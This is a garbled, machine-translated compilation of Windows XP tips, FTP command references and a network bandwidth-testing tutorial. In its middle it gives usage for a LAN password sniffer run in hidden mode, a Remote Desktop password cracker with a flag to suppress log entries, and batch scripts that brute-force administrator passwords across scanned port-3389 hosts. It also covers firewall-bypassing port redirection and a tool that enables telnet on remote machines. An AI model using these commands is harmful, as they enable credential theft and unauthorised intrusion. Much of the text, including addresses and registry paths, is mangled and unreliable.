In the era of 9X if you forget the password for the Windows installation, as long as the HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion, check ProductKey, but in XP registry was not found in the how? actually do not need to open the registry, Windows/System32 a told $ winnt $ profile, where clearly documented.
63. . IE full screen mode. .
Generally know that in IE, press the F11 key to quickly switch to full screen mode, but the full-screen mode is a does not include a toolbar, status bar, the pure full-screen mode. To achieve this effect, start IE when coupled with a parameter in the command line, enter "C: Program Files/Microsoft/Internet/IEXPLORE."-k .EXE, you can open a full screen in IE.
64. . With Internet time synchronization. .
I wonder if you noticed there are many software that can make your computer's clock is accurate, the principle is that the software, select a server, when you're surfing on a computer in the server's clock and clock phase comparison, if not then you can automatically resize. Now in Windows XP also integrates this feature. We will be able to double-click the clock in the lower-right corner of the taskbar, in "Internet time". Note: If your computer have a firewall installed, then there may not be able to adjust Internet time.
65. . Prohibit Hide inactive icons. .
In use for some time, Windows XP will automatically detect and Hide inactive icons, we can use the following methods to prevent it: the blank space on the taskbar, right-click the shortcut menu, select "Properties" in the "taskbar" label will be "Hide inactive icons" Cancel, if you don't want to completely suppress this feature, you can click "Customize" button to set the project's hide and show.
66. . So that every time you open IE window is maximized when. .
Started by IE shortcut, for example through the Quick Launch toolbar icon to start IE, you can right-click on the "shortcut icon" and select "Properties" in the "shortcut" tab in the "run as" in the options bar, select "maximization", and then click "OK" button. Thereafter, whenever you use this shortcut to start IE, the browser window is maximized in total.
Through the desktop "Internet Explorer" icon to start the IE, because it is not a standard shortcut, there is no maximize option. Fortunately, this icon can remember the last window of your browser settings for the situation. Therefore, if when you quit IE window before the maximum, then the next time you start IE will still be maintained when the window settings on exit. .
67. for greater clarity to the Welcome window.
Windows XP, the display has been greatly enhanced, mainly based on its use of the name "ClearType" clear of technology, especially for notebook computers and LCD monitors use of the user running the Windows XP operating system experience and the previous system, different results. However, the clear effect only when Windows starts only after completion of calls in the system startup process so welcome the window still does not achieve this effect. In order to more clearly welcome window, the user can be modified using the Registry Editor, find the two main keys:. .
HKEY_USERS/。.Default/Control Panel/Desktop/FontSmoothing 。.
HKEY_USERS /. .Default / Control Panel / Desktop / FontSmoothingType. .
The key value is changed to "2", this will clear the display effect can be achieved.
68. . Shield pop-up ads. .
When you open a Web site you will find also eject another advertising page, the page opens, the computer running speed can be significantly slower. Some of the prohibition of pop-up ads page (commonly known as "blacklists") software, in fact, in the opened Windows XP IE6. . .
69. restore your desktop system.
Many users still often used to keep the desktop "My Documents" and other shortcuts to frequently accessed folders, and shortcuts to frequently used programs. If you want to show the desktop "My Computer", "My Documents", "My Network Places", IE browser shortcut icon, simply do the following: Right click the desktop, in the right menu, select " Properties "command in the open" Display Properties "dialog box, select" Desktop "tab, click the" Customize Desktop "button, open the" Desktop "project dialog box.。.
70. . Set the Windows XP system exception stops the corresponding strategy. .
。.
71. . Using Windows 98/2000 style window. .
Some people may not like Windows XP, window style, want to restore your original Windows 98/2000 interface, what should I do? the space on the desktop, right-click on the shortcut menu, select "Properties" in the pop-up window, select the "theme" tab from the "topic" drop-down menu, select "Windows classic", and then select OK on the can.
72. . Add "Show Desktop" entry. .
In the default installation, we could not be found in the taskbar to the familiar "Show Desktop" button, Windows XP does not have this very good capabilities? is not, you click "Start/Settings/Control Panel/taskbar and start menu" in the "taskbar and start menu properties" window, "show quick launch" option, tick the "Show Desktop" entry appears in the taskbar.
73. . Hide the desktop icons. .
In Windows XP to increase the functionality of the desktop icon is hidden, you only need to use the mouse to click on empty space on the desktop, right-click on the pop-up menu select "arrange icons" command, and then under Louisa was always with menu cancel on the "show desktop icons" command of the selected, the system will automatically hide all desktop icons.
74. . Cancel the arrow on the shortcut icon. .
When you install some software, usually Windows XP on your desktop would be to put a shortcut icon, you can easily start your application. Only the application shortcut icon appears on the black arrow, very affect desktop appearance. If you want to remove the black arrow, simply do the following:.
Open the registry editor, into the HKEY_CLASSES_ROOT / Lnkfile sub-key branch of this sub-branch to find keys to the key name IsShortcut, its type is REG_SZ, this value is deleted, you can remove the arrow on the shortcut icon. Off the current user and restart the computer settings to take effect. .
75. quick open Control Panel.
Move the mouse to the "Start" button on the mouse button, select "Properties / Customize / Advanced / Start menu items" in the "control zone panel" selected under "Display as menu" (Figure 10), then one Click "OK" on the line, you can later open the program the same as in the "Start" menu item to open a control panel, it saves time. .
76. the favorite are placed near the top of the start menu.
Whether a program you are loved and often used? Then, through placed on top of the list of its way to raising its priority in the Start menu. This approach can ensure that the program remain in the Start menu, and interference from other programs, even if other programs have a higher frequency of use as well. .
In the start menu, right click on the links to your favorite programs, and then on the shortcut menu that appears choose "PIN to start menu". Your program will be permanently moved to the top of the list, only in browsers and e-mail programs below.
77. . Get rid of desktop icon text shadow. .
Previous versions of Windows in with custom desktop, icon's text has a shadow below (that is the color of your desktop), the impact of the desktop Visual effects. The original only with other software solutions, but performance is not stable, but also consume system resources. Windows XP to help you solve this problem! if you open the computer properties — first right-click "my computer" in popup menu choose "Properties" and then "Advanced" tab in the "Properties" box in the "settings" button on the point, in the "Visual effects" page "on your desktop to use shadow icon labels on the front of the box" call hook. . Look at your desktop icons, the effect has reached you dream up! This will not only get a good visual effect, less system resources. .
78. automatically turns off the computer.
After installing Windows XP, some computer after clicking on shut down and can not automatically turn off the computer, but need the same power as before, the AT shut down manually. This was mainly Windows XP does not enable Advanced Power Management. Amendment is: Click "Start / Control Panel / Performance and Maintenance / Power Options." Power Options Properties in the pop-up settings window, click the "Advanced Power Management" will "Enable Advanced Power Management support" check mark. .
79. backup hardware profile.
Hardware configuration file can change the hardware, load the correct guidance of Windows XP drivers, if we had some hardware Anzhuang or Xiugai, Jiu very Kenengdaozhi Jitongwufa start or run properly, then we can use the hardware configuration file to restore the previous hardware configuration. Recommends that users install or modify each hardware are all backup hardware configuration 文件, This is very convenient solution of many due to a hardware configuration problem caused by the Ji Tong.。 To back up the hardware profile, click the "copy" button in the open "replication configuration file" dialog box in the "to" text box, enter the new file name, and then click "OK" button.
80. . Shorten the waiting time. .
Open the registry editor, locate the WaitToKillServiceTimeout set HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control: 4000 (the original is located.
Value: 20000). Find the HKEY_CURRENT_USER \ Control Panel \ Desktop key, the right of the window WaitToKillAppTimeout to 4000 (the original setting:..
20000), that is, when you close the program only wait for 1 second. HungAppTimeout value will be changed to: 2000 (formerly set value: 5000), indicates that an error waiting for 0. .5 seconds.
81. . Let the system automatically shut down to stop responding. .
Open the HKEY_CURRENT_USER\Control Panel\Desktop registry key AutoEndTasks value is set to 1 (the former set value: 0).
82. . Accelerate the sharing of view. .
Open the registry editor, HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\RemoteComputer\NameSpace.
Under the (D6277990-4C6A-11CF-8D87-00AA0060F5BF) deleted. .
83. Optimization "startup and recovery settings:.."
Right-click "My Computer", click Properties, click the "Advanced" in the "Startup and Recovery." .
A bar, click on the "settings", where "system failure", select "automatically restart", write debugging information to select "no".
84. . Close Chinese doctors Dr. . Watson:. .
In the "start"-> "run", type "command drwtsn32", or "start"-> "programs"-"Accessories" >-> system tools > system information-"->" Tools ">"-Dr Watson, bring up the system in China.
Dr Dr. . Watson, retaining only "dump all thread contexts" option, or if program errors, the hard disk will read a long time, and take up a lot of space. If this has happened before, please find the user. . Dmp files. .
Remove save tens of MB of space.
85. . Turn off fast switching function:. .
Follows: control panel-> user accounts, click on "change login or logout form," remove "in the use fast user switching"..
86. . Custom special boot prompt. .
Registry key: HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/WindowsNT/CurrentVersion/Winlogon.
The "LegaNoticeCaption" is landing tips language, "LegalNoticeText" is welcome. .
87. close windows file protection.
Can not remove the default windows system and program files, so the warning !!!!!!!!!!!!!!!! registry: HKEY_LOCAL_MACHINE / SOFTWARE / Microsoft / WindowsNT / Curren tVersion / winlogon in the "SFCDisable "it's value to" ffffff9d ". .
88. .windowsXP memory optimization!!!!!!!! (Warning!!!!! The following settings need to be 256M memory above there is a good result!!!) 。.
Registry:. .
HKEK_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/SessionManager/Memory Management 。.
In: Disable memory paging: DisablePagingExecutive value to "1." .
Hoisting system cache: LargeSystemCache value to "1".
89. . Modify the disk cache to speed up xp. .
Disk cache on xp running plays a vital role, but the default paging file I/O to be more conservative. So,!.
For different memory, different disk cache is a better approach. .
a。.) Run "regedit".
b. .) Go to [HKEY_LOCAL_MACHINE / SYSTEM / CurrentControlSet / Control / Session Manager / Memory Management / IoPageLockLimit];. .
c。.) Depending on your memory: modify its hexadecimal value.
64M: 1000;. .
128M: 4000; 。.
256M: 10000;. .
512M or larger: 40000.
d. .) Restart. .
90. reduce disk scan wait time.
In dos, type "chkntfs / t: 0". .
91. unlock the bandwidth limit.
Run ---- gpedit. . Msc ----- Network Management ----- ---- QoS template packet scheduler can keep the bandwidth limit --- --- start ----- The following input 0 ---- OK - ------- dial-up icon in your property to find the right health network ----- see if there are QoS Packet Scheduler installed ----- ------- If there is no point of service - ---- Add ---- select QoS Packet Scheduler ---- ---- checked to see if there is success on behalf of the -------- restart --- ok!. .
92. cancel the system hibernation support.
Right Properties - Screen Saver - Power - Sleep - canceled. .
93. to switch off the video preview.
Look at the command running: "REGSVR32 / U SHMEDIA.. DLL". .
94. the service cannot be shut down (or turn off the service in General is not appropriate).
windows audio sound. .
Cryptographic services-windows Update is used to verify that windows file fingerprint, I opened my updates.
DHCP client-who needs a static IP. .
Logical Disk manager – disk management service.
* Event Log - System log record of service, very used to find system problems. .
COM + Event system some COM + application software needs, check your c:/program files/ComPlus Applications directory, not something you can turn this service off.
* Workstation - Many services rely on the services, support network and print / file sharing. .
Machine Debug Manager 。.
Network Connections - Internet / LAN use. .
* Plug and Play-plug.
Protected Storage-store local passwords and password online services, including when filling the "AutoComplete" function. .
* The Remote Procedure Call (RPC)-the system's core services.
security accounts manager-like Protected Storage, IIS Admin only need. .
System event notification-log user logon/logoff/restart/shutdown.
shell hardware detection-configured to automatically start some, such as memory sticks, and some cd drives. .
Print Spooler-printer use.
themes - for xp dress up stuff. .
* The Windows Management Instrumentation-full of important service is to rely on "the services".
95. . Uninstall unwanted dynamic link. .
Explorer are often left unused in memory of dynamically linked, in order to combat this phenomenon, you can open the registry editor, set the key: HKEY_LOCAL_MACHINE\.
SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Explorer / AlwaysUnloadDLL (string value) be set to 1. .
96. in empty page file when system shuts down.
Open "Control Panel", click on "Performance and Maintenance" - "Administrative Tools" → "Local Security Policy" → "Local Policies" → "Security Options", double-click them, "Shutdown: Clear virtual memory page file." .
A click on the pop-up menu to "enabled" option, click OK.
97. . Windows XP installed, how to FAT 32 conversion to NTFS. .
Use the convert command in command line mode to use this command to convert. .exe into at any time. For example: c:/fs: convert ntfs to c conversion to NTFS.
98. . Verify whether Windows XP has been activated. .
In the run, enter "oobe/msoobe/a"; the version number can be done by WINDOWS (XP installation directory)/system32 NTOSKRNL. .EXE, right-click-> Selection view.
99, delete the unwanted components in Windows XP. .
1), delete system files backup, do one of the sfc./purgecache .exe.
2), delete the drive back up, delete the WINDOWS (XP installation directory) / driver cache/i386 directory Driver. . Cab file. .
3), delete the backup files, directories, DLL for WINDOWS (XP installation directory),/system32/dllcache.
4), delete the WINDOWS (XP installation directory) / ime not under the input method. .
100.. let IE to use multiple threads to download Web page: registry sub key: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings,.
New DWORD value. .
"MaxConnectionsPerServer", this role is to determine the maximum number of simultaneous download connection, typically 5 ~ 8 line number is better. In addition,.
For the HTTP 1. .0 Server, you can join called "MaxConnectionsPer1_0Server" double-byte value item, its value is set the maximum number of simultaneous downloads. wuqingying 51cto technology blog. .
3. command line sniffers: xsniff. .exe network management, virus, Trojans, and defense, the software.
LAN FTP/SMTP/POP3/HTTP agreement can capture passwords. .
Parameter description.
-Tcp output TCP packets. .
-UDP datagram udp output.
-Icmp output ICMP packets. .
-Pass filtering, password information.
-Hide background. .
-Host resolving host names.
-Addr IP address filtering IP address. .
-Port port port filtering.
-Log file name will save the output to a file. .
-Asc to ASCII output.
-Hex to 16 hex format output. .
Usage examples.
xsniff. . Exe-pass-hide-log pass. . Log run in the background sniffing passwords and password information stored in the pass. . Log file. .
Xsniff. .exe-tcp-udp-asc-addr .168.192. .1 .1.192. sniff. .1 .1 .168. and filtering TCP and UDP information and output in ASCII format.
4, Terminal Services password cracking: tscrack. . Exe. .
Parameter description.
-H Display Help. .
-V show version information.
-S ability to decrypt the screen shot. .
-B wrong password..
-T is issued with multiple connections (multiple threads). .
-N Prevent System Log entries on targeted server。.
-U uninstall remove tscrack components. .
-F-f used behind a password.
-F interval (frequency). .
-Use-l followed by your username.
-W-w use the password behind the dictionary. .
Use-p-p password later.
-D login page. .
Usage examples.
tscrack 192. .168. .0. .1-L *** istrator-w pass. . Dic remote sharp break with the password dictionary file host *** istrator of the login password. .
192. tscrack. .0 .1 .168.-l *** istrator-p 123456 remote login with a password 123456.192. .0 .1 .168. ** the * istrator users.
@ If not exist ipcscan. .* T goto noscan. .
@for /f "tokens=1 delims= " %%i in (3389。.*t) do call hack。.bat %%i。.
nscan. .
@echo 3389。.*t no find or scan faild。.
(① saved as 3389.. Bat) (assuming the existing anchor with SuperScan or other scanning devices scan a group of IP hosts to open a 3389 list of file 3389. .* T). .
3389. .bat going 3389. * t file from one IP, and then run the .bat. hack.
@ If not exist tscrack. . Exe goto noscan. .
@tscrack %1 -l ***istrator -w pass。.dic >>rouji。.*t 。.
: Noscan. .
@echo tscrack。.exe no find or scan faild。.
(② saved as a hack.. Bat) (run 3389.. Bat on OK, and 3389.. Bat, hack.. Bat, 3389. .* T, pass.. Dic and tscrack.. Exe in the same directory; can wait for the outcome). .
Hack. mean: run .bat tscrack. broken .exe with dictionary Flash 3389. * t in all host *** istrator password and explains the results saved in rouji. * t file.
5, Other:. .
Shutdown。.exe。.
Shutdown \ \ IP Address t: 20 20 seconds after the other NT automatically shut down (Windows 2003 system comes with tools, Windows2000 into the next must download the tool to use to use. In front of Windows 2003 DOS commands in detail.). .
Fpipe. .exe (TCP port redirection tool) in the second article in detail (port redirection to bypass the firewall).
fpipe-l 80-s 1029-r 80 www. . Sina. . Com. . Cn anchor when a scan of your port 80, he swept into the results would be completely be www. . Sina. . Com. . Cn host information. .
Fpipe-s l 23-88-r 23 target IP to native to the target IP sent 23 Telnet request on the port port redirection, you send through 88 port to the port of destination IP 23. (Establishing with the destination IP is used when the native Telnet 88 port connected to it) and then: direct Telnet .0 .0.127.. .1 (native IP) to connect to the destination IP port 23. Network management, virus, Trojans, and defense, the software.
OpenTelnet. . Exe (remote open telnet tool). .
Opentelnet. .exe \\IP account password authentication method is ntlm Telnet port (no need to upload Microsoft ntlm. .exe undermine authentication) direct remote Telnet service turned on each other, you can use telnet to connect to each other. \\ip.
NTLM authentication method: 0: do not use NTLM authentication; 1: first try to NTLM authentication, if that fails, then use the user name and password; 2: to use only NTLM authentication. .
ResumeTelnet. .exe (OpenTelnet came with another tool).
resumetelnet. . Exe \ \ IP account password to use Telnet to connect complete the other party, on the other side with the Telnet command to set the restore, while closing the Telnet service. .
6, the overview: FTP commands.
FTP commands are Internet users one of the most frequently used commands, familiar and flexible application of the internal FTP commands, can greatly facilitate the users, and have a multiplier effect. If you want to learn how to use FTP to download the background, then we must learn FTP command. Network management, virus, trojan, attack and defense, software. .
FTP command line format:.
ftp-v-d-i-n-g [host name], where. .
-V display in response to the remote server; all information.
-N limit ftp automatic login, which does not use;. . N etrc documents;. .
-D debug mode.
-G cancellation of global file names. .
FTP uses internal commands are as follows (in parentheses indicate optional):.
1. .! [Cmd [args]]: the local machine in the interactive shell, exit back to ftp the environment, such as:! Ls *. . Zip. .
2. $ macro-ame [args]: execution of a macro definition macro-name. Network management, virus, Trojans, and defense, the software.
3. . Account [password]: after the success of the remote system to provide login access to system resources required to add a password. .
4. .append local-file [remote-file]: local file to append to the remote host, if the system does not specify a file name for the remote system, use the local file name.
5. . Ascii: ascii type transfer method to use. .
6. .bell: each command to execute after the computer one ring.
7. . Bin: use binary file transfer mode. .
8. .bye: exit ftp session.
9. . Case: when using the mget, the remote host file name in uppercase to lowercase letters. Network management, virus, trojan, attack and defense, software. .
10. .cd remote-dir: go to the remote host directory.
11. . Cdup: remote host directory into the parent directory. .
12. file-name .chmod mode: remote host file access mode file-name set to mode, such as: chmod 777 .out a..
13. . Close: interrupt a session with the remote ftp server (and open correspondence). .
14. .cr: use asscii way to transfer files, convert the line endings will return back to the line.
15. . Delete remote-file: Delete the remote host file. .
16. .debug [debug-value]: set debug mode to display the send to a remote host in each command, such as: deb up 3, if set to 0, which means that abolition of debug.
17. . Dir [remote-dir] [local-file]: Display the remote host directory, and the results into a local file. .
18. .disconnection: with close.
19. . Form format: the file transfer mode is set to format, the default mode for the file. .
20. .get remote-file [local-file]: the file on the remote host remote-file are transmitted to the local hard disk local-file.
21. . Glob: Set mdelete, mget, mput file name extension, the default file name without extension, with the-g command line parameter. .
22. .hash: 1024 bytes per transfer, and displays a hash sign (#).
23. . Help [cmd]: show ftp command cmd inside the help information, such as: help get. .
24. .idle [seconds]: remote server Hibernate timer is set to [seconds] seconds.
25. . Image: set binary transfer mode (same binary). .
26. .lcd [dir]: local working directory to dir.
27. . Ls [remote-dir] [local-file]: display the remote directory remote-dir, and into the local file local-file. .
28. .macdef macro-name: defines a macro, the blank line under the macdef encountered, the end of a macro definition.
29. . Mdelete [remote-file]: Remove the remote host file. .
30. .mdir remote-files local-file: dir are similar, but you can specify multiple remote files, such as: mdir *. * .o... .zipoutfile.
31. . Mget remote-files: multiple remote file transfer. .
32. .mkdir dir-name: on a remote host in a directory.
33. . Mls remote-file local-file: with nlist, but can specify multiple file names. .
34. .mode [modename]: the file transfer mode is set to the default modename as stream mode.
35. . Modtime file-name: display the remote host file was last modified. .
36. .mput local-file: multiple file transfer to remote hosts.
37. . Newer file-name: If the remote machine in the file-name modification time than the local hard disk the same name of the document is more recent, then retransmit the file. .
38. .nlist [remote-dir] [local-file]: displays the remote host directory listing of files and stored in the local hard disk local-file.
39. . Nmap [inpattern outpattern]: Set the file name mapping mechanism, makes the file transfer, file conversion between certain characters,. .
Such as nmap $ 1. $ 2. $ 3 [$ 1, $ 2]. [$ 2, $ 3], the transport file a1. .a2. .a3, a1, a2 becomes the file name. This command is particularly applicable to the remote host for non-UNIX machine.
40. . Ntrans [inchars [outchars]]: set file name character translation mechanism, such as ntrans1R, the file name LLL will become RRR. .
41. .open host [port]: to establish a connection to the specified ftp server, you can specify the connection port.
42. . Passive: to enter the passive transmission. .
43. .prompt: setting up multiple file transfers when the interactive prompt.
44. . Proxy ftp-cmd: in the secondary control connection, execute a ftp command, which allows to connect the two ftp servers to transfer files between two servers. The first ftp command must be open, to first establish a connection between the two servers. .
45. .put local-file [remote-file]: local-file local files to the remote host.
46. . Pwd: display current working directory of the remote host. b U0m H7 \ & @ (T..
47. .quit: bye, quit with the ftp session.
48. . Quote arg1, arg2. .: Verbatim parameter sent to the remote ftp server, such as: quote syst. .
49. .recv remote-file [local-file]: get together.
50. . Reget remote-file [local-file]: similar to get, but if local-file exists, the last transmission from the left off the resume. .
51. .rhelp [cmd-name]: request for help for the remote host.
52. . Rstatus [file-name]: If you do not specify a file name, then display the status of the remote host, or display the file status. .
53. .rename [from] [to]: change the file name of the remote host.
54. . Reset: Clear answer queue. .
55. .restart marker from the specified flag marker, start get or put, such as: restart 130.
56. . Rmdir dir-name: Remove the remote host directory. .
57. .runique: set the file name only one storage, if the file exists, the original file with the suffix .1, .2... ".
58. . Send local-file [remote-file]: with the put. .
59. .sendport: set the use of PORT commands.
60. . Site arg1, arg2. .: The SITE command parameters as sent to the remote ftp host verbatim. .
61. .size file-name: displays the file size of a remote host, such as: site idle 7200.
62. . Status: Displays the current status of ftp. .
63. .struct [struct-name]: the file transfer structure is set to use the default struct-name stream structure.
64. . Sunique: remote host file name is stored is set to only one (corresponding with the runique). .
65. .system: displays the operating system type of the remote host.
66. . Tenex: the file transfer type to TENEX machines of the type required. .
67. .tick: set bytes counter when it travels.
68. . Trace: setting package tracking. .
69. .type [type-name]: set the file transfer type is ascii, the default is type-name, such as: type binary, binary transfer mode is set.
70. . Umask [newmask]: remote server's default umask is set to newmask, such as: umask 3. .
71. .user user-name [password] [account]: to the remote host to indicate their identity, requires a password, you must enter a password, such as user anonymous email my @.
72. . Verbose: with the-v command line parameters that set the detailed reporting, ftp server, all responses will be displayed to the user, the default is on. .
73..? [Cmd]: with the help.
7: The Complete Works of winver --------- computer running the command checks Windows version. .
Wmimgmt. .msc--open windows Management architecture.
wupdmgr -------- windows update. .
Winver---------check the version of Windows.
wmimgmt. . Msc ---- open the windows management architecture. .
Wupdmgr--------windows updates.
wscript -------- windows scripting host. .
Write----------WordPad winmsd---the system info.
wiaacmgr ------- Scanner and Camera Wizard. .
Winchat--------XP comes with LAN chat.
mem. . Exe -------- Display memory usage. .
Msconfig. .exe---the system configuration utility.
mplayer2 ------- Simple widnows media playe. .
Mspaint--------paint.
mstsc ---------- Remote Desktop Connection. .
Mplayer2-------Media Player.
magnify -------- magnifier utility. .
Mmc------------open the console.
mobsync -------- sync command. .
Dxdiag---------check the DirectX information.
drwtsn32 ------ System of a doctor. .
Devmgmt. .msc---Device Manager.
dfrg. . Msc ------- Disk Defragmenter. .
Diskmgmt. .msc-disk management utility.
dcomcnfg ------- Open the System Component Services. .
Ddeshare-------open DDE share settings.
dvdplay -------- DVD player. .
Net stop messenger-stop Messenger service.
net start messenger ---- Start messenger service. .
Notepad--------open Notepad.
nslookup ------- network management tool wizard. .
Ntbackup-------system backup and restore.
narrator ------- screen "about people." .
Ntmsmgr. .msc--mobile storage manager.
ntmsoprq. . Msc --- Removable Storage Manager operation requests. .
Netstat-an-(TC) command check interface.
syncapp -------- create a briefcase. .
Sysedit--------the system configuration editor.
sigverif ------- file signature verification process. .
Sndrec32-------recorder.
shrpubw -------- create shared folders. .
Secpol. .msc-----local security policy.
syskey --------- system encryption, encryption can not be solved soon, the dual system of protection windows xp password network, virus, trojan, attack and defense, software. .
.Msc services.-local service settings.
Sndvol32 ------- Volume Control program network management, virus, trojan, attack and defense, software). .
Sfc. .exe--------the System File Checker.
sfc / scannow --- windows file protection. .
Tsshutdn-------60-second countdown the shutdown command.
About tourstart ------ xp (installed xp after the roaming procedure). .
Taskmgr--------Task Manager.
eventvwr ------- Event Viewer. .
Eudcedit-------creation program.
explorer ------- Open the Explorer. .
Packager-------the Object Packager.
perfmon. . Msc ---- computer performance monitoring procedures. .
Progman--------Program Manager.
regedit. . Exe ---- registry. .
Rsop. .msc-------group policy results.
regedt32 ------- Registry Editor 1. .
Rononce-p-15 seconds to shut down.
regsvr32 / u *. . Dll ---- dll file to stop running. .
Regsvr32/u zipfldr. .dll------cancel ZIP support.
cmd. . Exe -------- CMD command prompt. .
Chkdsk check disk .exe-----Chkdsk.. '.
certmgr. . Msc ---- certificate management utility. .
Calc-----------start the calculator.
Character Map charmap -------- start. .
Cliconfg-------SQL SERVER client network utility.
Clipbrd -------- Clipboard Viewer. .
Conf-----------start netmeeting.
compmgmt. . Msc --- computer network management, virus, trojan, attack and defense, software). .
Cleanmgr-------** finishing.
ciadv. . Msc ------ indexing service program. .
Osk------------open on-screen keyboard.
odbcad32 ------- ODBC Data Source Administrator. .
Oobe/msoobe/a----check whether activate XP.
lusrmgr. . Msc ---- Local Users and Groups. .
Logoff---------unregister command.
iexpress ------- Trojans bundled tools, the system comes. .
Nslookup-------IP address detection devices.
fsmgmt. . Msc ----- shared folder manager. .
Utilman--------Utility Manager.
gpedit. . Msc ----- Group Policy network management, virus, trojan, attack and defense, software. .
Network administrators the most commonly encountered problem is network connectivity problems, maybe the company employee's computer to the Internet so we can use simple few steps is detected the problem, but there is a network connectivity problem is at a loss, it is the staff reflects the network is slow. Because decisions network speeds to a number of factors, it is not possible using simple operation the size of the detected speed. As a qualified member of the network administrator, we need a professional tool to measure the bandwidth of the network and data throughput, today to introduce the professional evaluation tools are simple to use CHARIOT.
Slow speed of the network the most direct reason is the insufficient bandwidth or line problems, we can CHARIOT arbitrary measurement of network connectivity between two computers bandwidth, and the software can also be measured in graphic forms, and more convenient for our compare and browse. Measurement bandwidth throughput to be successful of course the premise is that both computers need to route between the packet transmission direction of the guidelines. wuqingying 51cto technology blog. .
A brief introduction to the CHARIOT: wuqingying 51cto technology blog.
CHARIOT is currently the only approved application layer IP network and network equipment, test software, providing end to end, multi-operating systems, multi-protocol testing, multi-application simulation testing technologies, including wireline, wireless, local, wide area networks and network devices; can network fault location, customer complaints analysis, system assessment, network optimization. From the user point of testing the network or network parameters (throughput, response time, delay, jitter, packet loss, etc.). wuqingying 51cto technology blog. .
Second, the CHARIOT works: wuqingying 51cto technology blog.
CHARIOT and general network management system and some on-line monitoring system is essentially different. Network management system and some on-line monitoring system to passive surveillance, active surveillance using the CHARIOT and measurement; network management system and a number of online monitoring system to provide qualitative measurements, quantitative measurements taken while CHARIOT. wuqingying 51cto technology blog. .
Measuring principle is the CHARIOT by producing simulate real traffic, End to End testing network device or network system in the real world performance. Can be widely used in the SWITCH, ROUTER, WIRELESS, QoS, MULTICASTING and network features and performance testing. Wuqingying 51cto technology blog.
CHARIOT CHARIOT the basic components include the console and Endpoint. . Which CHARIOT console can run on Microsoft's various Windows platforms. CHARIOT console can be defined in a variety of possible tests and test topology type of business. Endpoint can run on virtually all popular operating systems. CHARIOT Endpoint take full advantage of the resources of the host running the Executive CHARIOT Console Script issued an order to complete the required testing. Specific work flow chart shown in Figure 1. .。.
wuqingying 51cto technology blog. .
Third, the CHARIOT features: wuqingying 51cto technology blog.
CHARIOT can provide up to 10,000 concurrent connections, to better simulate the real environment and network equipment to conduct a comprehensive measure. CHARIOT to assess the performance and capacity network applications, network and equipment stress testing. CHARIOT as pressure, fault locating, assessing equipment and network performance test software application layer is to maintain healthy, fast, reliable network and research and development needed to produce high-performance network equipment, a reliable tool. CHARIOT well as network equipment and network itself an online testing tool to provide active network online performance analysis and monitoring.。.
In addition CHARIOT business built more than 120 scripts, such as FTP, HTTP, IPTV, Netmeeting, RealAudio, etc., can be easily applied to different environments we have. He also supports the IP TOS, GQoS, DiffServ, Multicast and VOIP services. In the test CHARIOT can be simulated as a single host more than 2000 hosts, this measurement is more authoritative. wuqingying 51cto technology blog. .
Small Tip: wuqingying 51cto technology blog.
CHARIOT-line network performance can provide quantitative analysis, a number of evaluation organizations to adopt the software on the customer's network to provide network performance evaluation services. He's a very good compatibility to support multiple operating systems. CHARIOT the evaluation and is based on the scripts, one by one, so users can write their own scripts to meet the practical requirements, write up is not very difficult. wuqingying 51cto technology blog. .
Fourth, the actual application: wuqingying 51cto technology blog.
We will tell you a few examples of the CHARIOT 5. .0 Use. CHARIOT we can measure by the network between any two nodes in the true maximum bandwidth, this will not be deceived ISP took the high price to enjoy a low bandwidth. wuqingying 51cto technology blog. .
Example 1: measurement network in any two-node bandwidth: wuqingying 51cto technology blog.
Task Description: wuqingying 51cto technology blog. .
It was often reflect the network is slow, so how do we determine the network bandwidth between? SNIFFER can only grab bag can't give out the actual bandwidth, then you need to help the CHARIOT. We assume that you want to measure network A computer 10. .91. .30. .45 and B computer 10. .91. .30. actual bandwidth between .42. Wuqingying 51cto technology blog.
Implementation: wuqingying 51cto technology blog. .
Step 1: first run on a computer in AB CHARIOT client software ENDPOINT. double-click on the .exe endpoint. as shown in Figure 2 appears to determine when you will find the Task Manager in a process known as the endpoint. Wuqingying 51cto technology blog.
wuqingying 51cto technology blog. .
Step 2: be measuring machine is ready, then you need to run the control side CHARIOT, we can select the other computers on the network can be found in the A or b CHARIOT run directly on the computer. (fig. 3) wuqingying 51cto technology blog.
wuqingying 51cto technology blog. .
Step three: the main interface point NEW buttons, pop-up interface point above a row of buttons ADD PAIR. (fig. 4) wuqingying 51cto technology blog.
wuqingying 51cto technology blog. .
Fourth step: ADD AN ENDPOINT PAIR window enter the name of the PAIR, and then enter A ENDPOINT1 computer IP addresses 10. .91. .45, .30. ENDPOINT2, enter the IP address of the computer B 10. .91. .30. .42. script by pressing select button and select a script, since we are measuring bandwidth so select the Throughput software built-in. .scr script. (Shown in Figure 5) wuqingying 51cto technology blog.
wuqingying 51cto technology blog. .
Small Tip: wuqingying 51cto technology blog.
CHARIOT can be measured, including TCP, UDP, SPX, including a variety of network transport protocols, we measure TCP bandwidth can select the default. wuqingying 51cto technology blog. .
Step five: determine the point in the main menu after we RUN start of survey work, of course, the point directly above a row of buttons can be RUN. Wuqingying 51cto technology blog.
Step Six: After the software will test to 100 data packets sent from computer A to computer B. As the software to transfer data packets small default measurement work so quickly ended. In the results, we point THROUGHPUT tab to see the size of the specific measurement of bandwidth. Figure 6 shows the A and B the actual maximum bandwidth between the computer 83. .6 Mbp s. . Wuqingying 51cto technology blog. .
Small Tip: wuqingying 51cto technology blog.
Since the loss of switches and wires are often less than the real bandwidth 100Mbps, so the cases were 83. .6 Mbps can conclude that the AB maximum bandwidth between computers 100Mbps, remove the loss of up to 80 Mbps transmission speed. wuqingying 51cto technology blog. .
Summary: wuqingying 51cto technology blog.
This article describes the CHARIOT basic functions and working principle and we finished with a simple example of the bandwidth throughput measurements, of course, CHARIOT function is powerful, a lot of tips that can help us better measure made more precise and authoritative. We will know in the width of my heart (below) to introduce in the application and use of these advanced techniques. wuqingying 51cto technology blog from 51CTO. . COM blog. .
As a home computer operating system you use WinXP and Win2000 mostly pro (recommended use 98 friends change system, and even Microsoft has abandoned the system you're using it?) so I will talk about these two operating system security.
Invasion of personal computer being common way wuqingying 51cto technology blog. .
